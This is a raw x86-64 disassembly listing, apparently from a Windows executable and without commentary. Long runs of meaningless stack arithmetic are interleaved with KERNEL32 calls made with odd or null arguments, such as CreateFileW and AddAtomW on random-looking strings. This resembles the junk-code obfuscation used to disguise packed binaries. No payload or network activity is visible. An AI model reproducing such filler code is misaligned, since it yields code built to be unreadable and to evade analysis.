mov edx, 0xd2c
mov rcx, qword [rsp + 0x15450]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xb378], eax
mov eax, dword [rsp + 0xa9cc]
mov dword [rsp + 0xb37c], eax
mov rax, qword [rsp + 0x14da8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ff4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6828], eax
mov rax, qword [rsp + 0x15228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b6c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov eax, dword [rsp + 0xb10c]
mov dword [rsp + 0xb380], eax
mov rax, qword [rsp + 0x14968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x738]
sub eax, ecx
mov byte [rsp + 0x7ab], al
movzx eax, word [rsp + 0x1478]
mov word [rsp + 0x31b0], ax
mov rax, qword [rsp + 0x149e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f6]
add eax, ecx
mov byte [rsp + 0x6f9], al
mov rax, qword [rsp + 0x14c90]
movzx eax, word [rax]
movzx ecx, word [0x14028274c]
add eax, ecx
mov word [0x1402828b0], ax
mov rax, qword [rsp + 0x14df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x899c], eax
mov rax, qword [rsp + 0x15170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f80]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7750], eax
mov rax, qword [rsp + 0x152b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x159c]
sar eax, cl
mov rcx, qword [rsp + 0x153d0]
mov word [rcx], ax
lea rax, [rsp + 0x682]
mov qword [rsp + 0x15750], rax
mov eax, dword [0x1402826fc]
movzx ecx, al
mov eax, dword [rsp + 0xac94]
shl eax, cl
mov dword [rsp + 0x7790], eax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaf04], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov dword [rsp + 0xb384], eax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [rsp + 0xab88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaf10], eax
mov rax, qword [rsp + 0x15278]
movzx eax, byte [rax]
mov byte [0x14028ea89], al
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
mov word [rsp + 0x31b4], ax
mov rax, qword [rsp + 0x14f68]
mov rcx, qword [rsp + 0x15728]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [0x1402827f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9838], eax
mov edx, 0x76ce5c
mov rcx, qword [rsp + 0x152f8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa96c], eax
movsx eax, word [rsp + 0x30fc]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d20], ax
movsx eax, byte [rsp + 0x6a7]
mov rcx, qword [0x14028eb18]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x40b], al
movzx eax, byte [rsp + 0x5ba]
mov byte [rsp + 0x7af], al
movzx eax, word [rsp + 0x2340]
movzx ecx, word [rsp + 0x30b8]
add eax, ecx
mov word [rsp + 0x3140], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xb174], eax
mov rax, qword [0x14028eda8]
mov eax, dword [rax]
mov dword [rsp + 0xb388], eax
mov rax, qword [rsp + 0x15630]
mov ecx, dword [rsp + 0xb188]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14028ecf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14838]
mov ecx, dword [rsp + 0xac20]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov dword [rcx], eax
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa408]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa488], eax
lea rax, [rsp + 0xb008]
mov qword [rsp + 0x15758], rax
movzx eax, byte [rsp + 0x543]
movzx ecx, byte [rsp + 0xcd]
or eax, ecx
mov byte [rsp + 0x6d5], al
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x303c]
xor eax, ecx
mov word [rsp + 0x136c], ax
mov eax, dword [rsp + 0xb2ac]
movzx ecx, al
mov eax, dword [rsp + 0xa6fc]
shl eax, cl
mov dword [rsp + 0xb294], eax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb1b0]
shr eax, cl
mov dword [rsp + 0xa100], eax
mov rax, qword [rsp + 0x15398]
mov eax, dword [rax]
mov dword [rsp + 0xb38c], eax
mov rax, qword [rsp + 0x15528]
mov ecx, dword [rsp + 0xad90]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282998], eax
mov rax, qword [0x14028eb30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x782]
add eax, ecx
mov byte [rsp + 0x590], al
lea rax, [rsp + 0x285c]
mov qword [rsp + 0x15760], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.KRBHhDBceXcdJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15768], rax
movsx eax, word [rsp + 0x2c2c]
movsx ecx, word [rsp + 0x3144]
sub eax, ecx
mov rcx, qword [rsp + 0x14448]
mov word [rcx], ax
movsx eax, byte [0x140281e67]
mov rcx, qword [rsp + 0x14d70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x15430]
mov byte [rcx], al
lea rax, [rsp + 0xae00]
mov qword [rsp + 0x15770], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xace8], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa434]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb30c], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [rsp + 0x31b8], ax
lea rdx, [rsp + 0xb390]
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa538], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7a6], al
mov rax, qword [rsp + 0x14ef8]
mov ecx, dword [rsp + 0xa4a8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14028eb38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab14], eax
mov eax, dword [rsp + 0xb358]
mov ecx, dword [rsp + 0x9ddc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f6c], eax
mov rax, qword [rsp + 0x14930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa488]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x73f]
mov byte [rsp + 0x7b0], al
movzx eax, word [rsp + 0x305c]
movzx ecx, word [rsp + 0x2d2c]
xor eax, ecx
mov word [rsp + 0x2fe4], ax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x14fa8]
mov eax, dword [rax]
mov dword [rsp + 0xb394], eax
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x155a0]
mov qword [rsp + 0x15778], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15778]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xab70], eax
mov rax, qword [rsp + 0x15128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b0c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14880]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7a1c]
mov rcx, qword [0x14028eb98]
mov qword [rsp + 0x15780], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15780]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [0x14028edd0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x155f8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xb398], eax
lea rax, [rsp + 0x8b90]
mov qword [rsp + 0x15788], rax
mov rax, qword [rsp + 0x156d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x736], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14128], rax
movsx eax, word [0x140282884]
movsx ecx, word [rsp + 0x26d8]
sub eax, ecx
mov word [rsp + 0x1b34], ax
movzx eax, word [rsp + 0x2eb0]
mov rcx, qword [rsp + 0x14388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2fd8], ax
mov rax, qword [rsp + 0x154c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb9]
add eax, ecx
mov byte [rsp + 0x6ca], al
mov eax, dword [rsp + 0xa524]
mov dword [rsp + 0xb39c], eax
mov eax, dword [rsp + 0x735c]
mov ecx, dword [rsp + 0xab5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa310], eax
mov rax, qword [0x14028ea90]
movzx eax, word [rax]
mov word [rsp + 0x31bc], ax
movzx eax, byte [rsp + 0x6de]
movzx ecx, byte [rsp + 0x75d]
sub eax, ecx
mov byte [0x140281ecf], al
mov rax, qword [rsp + 0x154b0]
mov rcx, qword [rsp + 0x147f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4c8], eax
mov rax, qword [0x14028ecc0]
mov rcx, qword [rsp + 0x144e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x87b0], eax
mov eax, dword [rsp + 0x9cb4]
mov dword [rsp + 0xb3a0], eax
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x151a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa920], eax
movzx eax, word [rsp + 0x2c94]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1b58], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x746], al
mov eax, dword [rsp + 0xad50]
mov dword [rsp + 0xb3a4], eax
mov eax, dword [rsp + 0xa480]
movzx ecx, al
mov eax, dword [0x140282808]
sar eax, cl
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x150d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14db8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140281ece], al
mov rax, qword [0x14028ed90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f08], ax
mov rax, qword [rsp + 0x14f58]
movzx eax, byte [rax]
mov byte [rsp + 0x7b1], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1c00], ax
mov rax, qword [rsp + 0x151a8]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa084], eax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0x8f3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14b48]
mov dword [rcx], eax
lea rdx, [rsp + 0xaa80]
mov rcx, qword [rsp + 0x14fd8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xb3a8], eax
mov eax, dword [rsp + 0x6950]
mov ecx, dword [rsp + 0xabc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa54], eax
mov eax, dword [rsp + 0x6d98]
mov dword [rsp + 0xb3ac], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa930]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov word [rsp + 0x31c0], ax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
mov byte [0x14028ea88], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x155e0]
mov ecx, dword [rsp + 0xa8e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15770]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ba4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa578], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa5e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7c84], eax
mov rax, qword [rsp + 0x14f68]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa754], eax
movzx ecx, word [rsp + 0x2ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2f38], ax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov word [rsp + 0x31c4], ax
mov rax, qword [rsp + 0x151f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15230]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x78a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15790], rax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x736]
xor eax, ecx
mov byte [rsp + 0x65b], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [0x14028ebd8]
movzx eax, word [rax]
mov word [rsp + 0x31c8], ax
mov rax, qword [rsp + 0x14930]
mov ecx, dword [rsp + 0x905c]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14028299c], eax
mov r9d, 1
lea r8, [rsp + 0x14308]
mov rdx, qword [rsp + 0x15798]
mov rcx, qword [rsp + 0x15250]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaab4], eax
mov rax, qword [rsp + 0x14c18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14490]
mov qword [rsp + 0x157a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x151d8]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xab24], eax
lea rax, [0x14028ed8c]
mov qword [rsp + 0x157a8], rax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x77f], al
mov edx, 0x5dfe7a
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xab24], eax
mov rax, qword [rsp + 0x15488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f30], eax
mov rax, qword [rsp + 0x14618]
mov rcx, qword [rsp + 0x147f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa73c], eax
mov rax, qword [rsp + 0x14720]
mov rcx, qword [rsp + 0x15318]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x150f8]
mov dword [rcx], eax
mov rax, qword [0x14028eb78]
mov eax, dword [rax]
mov dword [rsp + 0xb3b0], eax
mov rax, qword [rsp + 0x151f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x793]
add eax, ecx
mov byte [rsp + 0x771], al
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15060]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140282724], ax
mov eax, dword [0x14028285c]
mov dword [rsp + 0xb3b4], eax
mov rax, qword [rsp + 0x149c0]
mov ecx, dword [rsp + 0x7958]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8fc8], eax
mov rax, qword [rsp + 0x14ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150c0]
mov dword [rcx], eax
mov eax, dword [0x140282920]
mov dword [rsp + 0xb3b8], eax
mov rax, qword [rsp + 0x14640]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa58], eax
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14c60]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1a38], ax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14db8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x632], al
mov rax, qword [rsp + 0x152d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
xor eax, ecx
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0x14f78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402828d4], ax
mov rax, qword [rsp + 0x153f0]
mov eax, dword [rax]
mov dword [rsp + 0xb3bc], eax
mov eax, dword [rsp + 0x695c]
movzx ecx, al
mov eax, dword [rsp + 0x9454]
shr eax, cl
mov dword [rsp + 0xb168], eax
movzx eax, word [0x14028ed4c]
mov word [rsp + 0x31cc], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x691]
shl eax, cl
mov byte [rsp + 0x6ad], al
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa854]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c24], eax
mov rax, qword [rsp + 0x14a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8a80]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb154], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb060]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8640], eax
mov eax, dword [rsp + 0x6fec]
mov dword [rsp + 0xb3c0], eax
lea rax, [0x140281e8a]
mov qword [0x14028ea80], rax
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15350]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2ee0], ax
mov eax, dword [rsp + 0x75ac]
mov dword [rsp + 0xb3c4], eax
mov rax, qword [rsp + 0x14f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8090]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4f8], eax
mov rax, qword [rsp + 0x150d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6e2], al
mov rax, qword [rsp + 0x15708]
movsx eax, word [rax]
mov rcx, qword [0x14028ed58]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16c4], ax
movzx eax, byte [rsp + 0x6aa]
mov rcx, qword [rsp + 0x152d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76c], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov word [rsp + 0x31d0], ax
mov eax, dword [rsp + 0x8188]
mov ecx, dword [rsp + 0xa384]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb328], eax
mov rax, qword [rsp + 0x15318]
mov ecx, dword [rsp + 0x97cc]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402829a0], eax
mov eax, dword [rsp + 0xaf9c]
mov ecx, dword [rsp + 0xaba4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb370], eax
mov eax, dword [0x14028ebc0]
mov dword [rsp + 0xb3c8], eax
mov rax, qword [rsp + 0x14f98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa710]
sar eax, cl
mov dword [rsp + 0xb334], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x157b0], rax
lea rax, [rsp + 0x70f]
mov qword [rsp + 0x157b8], rax
mov rax, qword [0x14028ea90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d00]
shl eax, cl
mov rcx, qword [rsp + 0x14498]
mov word [rcx], ax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [rsp + 0xa570]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xac50], eax
mov rax, qword [0x14028ee38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e58], eax
mov rax, qword [rsp + 0x14e18]
mov ecx, dword [rsp + 0xb180]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0x149a8]
mov rcx, qword [rsp + 0x150e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282810], eax
movzx eax, word [0x140282914]
mov word [rsp + 0x31d4], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68e], al
mov rax, qword [rsp + 0x146d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b2], al
movsx eax, word [rsp + 0x2f50]
movsx ecx, word [0x14028ebd0]
and eax, ecx
mov word [rsp + 0x1fa0], ax
mov rax, qword [rsp + 0x148d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb010], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
lea rcx, str.EBFJE_Wm
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3050], ax
mov eax, dword [rsp + 0xaeb4]
mov dword [rsp + 0xb3cc], eax
lea rdx, [rsp + 0x234d8]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa2b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x15480]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x154c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x637], al
movzx eax, word [rsp + 0x2ca8]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x19cc], ax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [0x14028ec30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402829a4], eax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xae68], eax
mov rax, qword [rsp + 0x14fe0]
mov rcx, qword [rsp + 0x144c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9dec], eax
mov eax, dword [0x14028283c]
mov dword [rsp + 0xb3d0], eax
mov rax, qword [rsp + 0x15320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e90], ax
mov rax, qword [rsp + 0x14fc0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b3], al
mov eax, dword [rsp + 0x7ae8]
movzx ecx, al
mov eax, dword [rsp + 0xb324]
shl eax, cl
mov dword [rsp + 0x7e6c], eax
mov rax, qword [rsp + 0x15688]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9b6c], eax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x85f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x94c4], eax
mov rax, qword [rsp + 0x14ab8]
mov rcx, qword [rsp + 0x14f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282998], eax
lea rdx, [rsp + 0xa8fc]
mov rcx, qword [rsp + 0x15000]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa9f8], eax
mov rax, qword [rsp + 0x14aa0]
mov rcx, qword [rsp + 0x14e08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa980], eax
mov rax, qword [rsp + 0x14bc0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b4], al
movsx eax, word [rsp + 0x31c8]
mov rcx, qword [rsp + 0x15708]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d20], ax
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21b0]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
movzx eax, byte [rsp + 0x7a4]
mov byte [rsp + 0x7b5], al
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9284], eax
mov rax, qword [rsp + 0x155f0]
mov rcx, qword [rsp + 0x15448]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7b4c], eax
movzx eax, word [0x140282724]
mov rcx, qword [rsp + 0x14cf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2120], ax
movzx eax, byte [rsp + 0x6e6]
movzx ecx, byte [rsp + 0x468]
add eax, ecx
mov byte [0x14028ec58], al
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov dword [rsp + 0xb3d4], eax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa770], eax
mov eax, dword [rsp + 0xaec8]
mov rcx, qword [rsp + 0x143a8]
mov qword [rsp + 0x157c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x157c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa9cc], eax
mov eax, dword [rsp + 0xb3c4]
mov dword [rsp + 0xb3d8], eax
lea rcx, str.TZp_Kh5_Wfvg55Zo.PBo8L
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x31d8], ax
mov rax, qword [rsp + 0x15588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d60]
sar eax, cl
mov word [rsp + 0x2ea8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4b4]
xor eax, ecx
mov byte [rsp + 0x235], al
mov eax, dword [rsp + 0xa734]
mov ecx, dword [0x14028ec68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb0ac], eax
mov rax, qword [rsp + 0x15098]
mov rcx, qword [rsp + 0x15090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa5a8], eax
lea rax, [rsp + 0x1d44]
mov qword [0x14028ea78], rax
movzx eax, byte [0x140281e67]
mov byte [rsp + 0x7b6], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xb378], eax
mov rax, qword [rsp + 0x14f08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3104], ax
lea rax, [rsp + 0x57d]
mov qword [rsp + 0x157c8], rax
mov rax, qword [0x14028eae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa978]
add ecx, eax
mov eax, ecx
